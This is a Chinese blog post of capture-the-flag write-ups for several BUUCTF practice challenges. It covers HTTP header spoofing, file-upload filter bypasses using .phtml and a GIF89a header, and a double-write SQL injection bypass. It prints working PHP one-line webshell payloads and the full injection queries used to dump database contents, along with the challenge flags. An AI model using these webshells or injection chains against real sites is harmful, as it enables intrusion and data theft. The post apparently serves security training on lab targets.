Loading...  ## [极客大挑战 2019]Http 这题明显考察的是http协议,打开靶场访问什么也没有,F12来查看看控制台的html源码,直到最后那里我们才看到一个`Secret.php`文件4,所以直接访问即可。 回显字符串:`It doesn't come from 'https://Sycsecret.buuoj.cn'` 翻译一下大概的意思就是`它不是来自“https://Sycsecret.buuoj.cn”`所以可以知道这个页面大概来自于这个页面。 所以我们可以选择使用HackBar工具添加请求头的Referer元素为`https://Sycsecret.buuoj.cn` 然后又回显`Please use "Syclover" browser` 翻译一下的意思就是` 请使用“Syclover”浏览器` 所以使用HackBar工具添加请求头的User Agent元素为`Syclover` 回显字符串:`No!!! you can only read this locally!!!` 翻译过来就是`不!!!您只能在本地阅读此内容!!!` 所以使用Burp Suit工具添加请求头的`X-Forwarded-For:127.0.0.1`元素为`127.0.0.1`  直接得到`flag{cc81e25e-d1df-44d8-bf6d-5cabf52d949b}` ## [极客大挑战 2019]Knife 中国菜刀,或者蚂蚁剑,直接连接,白给的shell,是一句话木马。 跟目录下直接找flag  `flag{ddca30e7-b405-4cd5-a2d0-38f068e4c7bc}` ## [极客大挑战 2019]Upload 很显然呀,这是一道文件上传的漏洞题目,but, 上传a.php文件时,用burp suite抓包得到 修改Content-Type为 image/gif 提示:NOT ! php !,说明不能后缀为php。 > ** phtml文件** > > ``` > 在嵌入了php脚本的html中,使用 phtml作为后缀名;完全是php写的,则使用php作为后缀名。这两种文件,web服务器都会用php解释器进行解析。 > ``` 修改文件后缀为a.phtml 提示: NO! HACKER! your file included '<?' > html实体字符 > > HTML 中规定了 Character entity references,也就是通常我们说得 html实体字符,一些字符在 HTML 中拥有特殊的含义,比如小于号 (<) 用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源码中插入字符实体。 > > 字符实体有三部分:一个和号 (&),一个实体名称,或者 # 和一个实体编号,以及一个分号 (;)。要在 HTML 文档中显示小于号,我们需要这样写:< 或者 <。 > > < 代表:<,? 代表:? > > 也就是说上传文件里不能包含:" <? " > > 绕过" <? "限制用 script标签 绕过“<?”限制: > > ` <script language='php'>pipinfo();@eval($_POST['cmd']);</script>` 提示:Don't lie to me, it's not image at all!!! 即:上传的根本不是图片。 GIF89a 图片头文件欺骗  在文件前面加文件头:GIF89a,php会检测其为gif图片。getReailFileType 是检测 jpg、png、gif 的文件头。使用getimagesize函数无法判断其图片是无效的。 也可以--修改`Content-Type`的内容为 `image/jpeg` URL地址为:`/upload/a.phtml` 这里还有一个彩蛋,点开来看直接泪目。  成功上传“一句话”木马 蚂蚁剑或者菜刀直接连就能在根目录看到`flag{ec6fe7ee-86e2-47f9-8de2-7f5dfb11dff5}` ## [ACTF2020 新生赛]Upload 文件上传,这题更加简单,直接写一句话木马,并把文件后缀改为.jpg `<?php phpinfo();eval($_POST['cmd'])?>` 上传文件时需要burp抓包然后修改filename为.phtml  右边发现它给出了url路径去访问我们上传的图片,如果在图片木马加上了phpinfo()函数则会,成功显示phpinfo()的画面。 最后用蚂蚁剑去连接即可,密码cmd 轻松获得`flag{ae1ac85b-8daa-4496-b53b-7e5c542494aa}` ## [极客大挑战 2019]BabySQL 尝试万能密码不行 密码输入`1'`根据报错信息发现存在注入漏洞。 尝试联合查询注入`1'union select 1,2,3#`  通过报错,应该是union select字符串被过滤了,所以我们可以尝试双写绕过 `1' uniunionon selselectect 1,2,3#`发现有回显信息。 爆数据库`1'ununionion seselectlect 1,user(),database()#` 被爆出了用户和数据库:  爆数据库`1' uniunionon selselectect 1,2,group_concat(schema_name) frofromm infoorrmation_schema.schemata`  猜测信息在ctf库里,爆表名:`1' uniounionn selecselectt 1,2,table_name frofromm infoorrmation_schema.tables wherwheree table_schema='ctf'#`  爆字段:`1' uniounionn seleselectct 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns whewherere table_name='Flag'#`  爆数据:`1' uniounionn selecselectt 1,2,group_concat(flag) frofromm ctf.Flag#`  最后修改:2023 年 10 月 11 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 1 如果觉得我的文章对你有用,请随意赞赏